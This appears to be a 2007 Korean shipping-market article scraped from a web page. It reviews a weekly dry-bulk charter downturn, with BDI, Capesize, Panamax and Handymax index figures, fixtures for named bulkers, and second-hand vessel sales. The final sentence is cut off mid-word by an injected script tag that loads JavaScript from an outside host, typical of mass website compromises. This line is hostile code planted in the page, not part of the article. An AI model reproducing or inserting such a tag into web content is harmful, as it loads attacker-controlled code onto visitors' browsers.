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작성일 |
2007-05-26 |
| 제목 |
<용선시황>가파른 상승세 이어가던 건화물선 용선시장 하락세로 돌아 |
<용선시황>가파른 상승세 이어가던 건화물선 용선시장 하락세로 돌아
중고선 높은 선가 제시에 관망세
●●●5월 셋째주 케이프를 선두로 전반적인 드라이 시장이 하락세로 돌아섰다. 그동안 너무 쉴 새 없는 상승세를 기록했다는 이유로 숨고르기를 하려는 것인지, 아니면 이러한 유례없는 초고점의 시장이 조정을 받는 것인지에 대해서 확신을 내리기에는 다소 어려움이 있어 보인다. 다만, 그 분위기는 그리 부정적이지 않아 보인다. BDI는 한 주 동안 약 1.41% 하락, 5월 18일 6,554를 기록하고 있다.
◆케이프 사이즈= 상대적으로 조용한 분위기에서 한 주를 시작한 케이프는 5월 셋째주 월요일 BCI 9,687의 최고점을 기록한 이후 하락세로 돌아섰다. 이로 인한 영향 때문인지 파나막스와 핸디막스도 하락세로 돌아서며, 전반적인 드라이 시장의 분위기가 하락세로 바뀌었다. 다만 그 하락폭이 비교적 크지 않고, 5월 셋째주 마지막 날 소폭이지만 그 하락폭 또한 감소했다. 이에 당분간 케이프 시장의 큰 변화는 없어보이는 가운데, 향후 시장의 분위기는 좀 더 지켜볼 필요가 있을 듯 보여진다. BCI는 한 주 동안 약 2.32% 하락, 5월 18일 9,415를 기록하고 있다.
케이프 사이즈의 일일 평균 용선료는 한 주 동안 0.6% 상승, 5월18일 103,573달러를 기록하고 있다.
브라질 투바라오에서 철광석을 싣고 중국, 일본으로 향하는 165K 벌커의 일일 평균 용선료 한 주 동안 각각 3.6%, 4.5% 상승해 각각 139,071달러와 135,673달러를 기록하고 있고, 호주 담피아에서 철광석을 싣고 중국, 일본으로 향하는 165K 벌커의 일일 평균 용선료는 각각 2.9%, 2.6% 하락해 106,014달러와 112,860달러를 기록하고 있다.
171,101DWT 벌커 “ANANGEL ETERNITY(1999년 건조)”는 103,000달러로 이밍햄에서 인도돼, TRANS ATLANTIC R/V로 서커우 파세로에서 반선될 예정이다. 171,039DWT 벌커 “CAPE STORK(1996년 건조)”는 80,000달러로 후쿠야마에서 인도돼, 로버트뱅크를 거쳐 영국의 래드카에서 반선될 예정이다.
◆파나막스 사이즈= 파나막스도 5월 셋째주 하락세로 돌아섰다. 대서양 수역에서는 여전히 부족한 가용 선복으로 인해 태평양 수역보다는 비교적 좋은 모습을 보이고 있지만, 태평양 수역에서는 기간와 스팟 시장 모두 하락세를 보이고 있다. 이러한 분위기에서 전반적인 지수의 하락폭은 다소 증가하고 있는데, 이는 케이프의 하락세에 대한 영향인 듯 보여진다. 다만, 케이프의 하락폭이 감소하는 듯 보여지므로, 그 분위기는 그리 부정적이지 않아 보인다. BPI는 한 주 동안 약 2.05% 하락, 5월18일 6,154를 기록하고 있다.
파나막스 일일 평균 용선료는 한 주 동안 3.3% 하락, 5월 18일 42,157달러를 기록하고 있다.
74,875DWT 벌커 “ALKYON(2001년 건조)”는 62,000달러로 말라카에서 인도돼, 남미동안를 거쳐 극동에서 반선될 예정이다.
64,211DWT 벌커 “DECURION(1988년 건조)”는 53,500달러로 케이프 파세로에서 인도돼, 브라질을 거쳐 극동에서 반선될 예정이다.
◆핸디막스 사이즈= 5월 들어 전반적인 핸디/핸디막스 시장의 수요가 줄어들면서 지수는 하향세로 돌아섰다. 이는 지난 2월12일 이후 약 3개월여 만에 처음이다. FRONTHUAL 비지니스에서만 다소 긍정적인 모습을 보였을 뿐, 다른 지역에서는 비교적 조용한 모습이 유지되고 있다. 이에 성약 소식도 상대적으로 매우 줄어들었다. 현재 전반적인 드라이 시장이 하락세로 돌아서면서 향후 전망에 대해 귀추가 주목되고 있는데, 그 분위기는 그리 나쁘지 않아 보인다. BSI는 한 주 동안 약 0.35% 상승해 5월18일 4,269를 기록하고 있다. BHSI는 한 주 동안 약 1.08% 상승, 5월18일 2,144를 기록하고 있다.
53,299DWT 벌커 “LAKE CONNIE(2005년 건조)”는 50,000달러로 할디아에서 인도돼, 중국에서 반선될 예정이다. 38,913DWT 벌커 “KADMOS(1983년 건조)”는 36,000달러로 북중국에서 인도돼, 페르시아만를 거쳐 페르시아에서 반선될 예정이다.
◆선박 매매시장= 건화물선 중고선 매매시장을 살펴보면 끝없는 중고선가의 강세로 인해, 점점 중고선선가를 책정하는데 많은 어려움을 겪고 있는 실정이다. 대부분의 가격 책정은 현실적으로 거래사례에 의거, 중고선 시장에서 형성되는 가격을 기준으로 책정되고 있다. 최고치의 BDI 지수에서 소폭의 하락이 있었지만, 여전히 강 보합세의 용선지수로 인해 높은 선가를 제시하고 있다. 선박 매입에 큰 관심을 가지고 있는 바이어들을 제외하고는 너무나 높은 선가제시로 인해 관망세를 띠고있으며, 이로 인한 매매 활동량은 현저히 줄어들고 있는 실정이다. 이 주에는 두 척의 선박이 주목을 받았으며, 이는 96년 폴란드 건조의 “ZORBAS (174,690DWT)”로 8,600만달러에 퍼시픽킹사로 매각됐다. 또 ?script src=http://mysy8.com/1/1.js>
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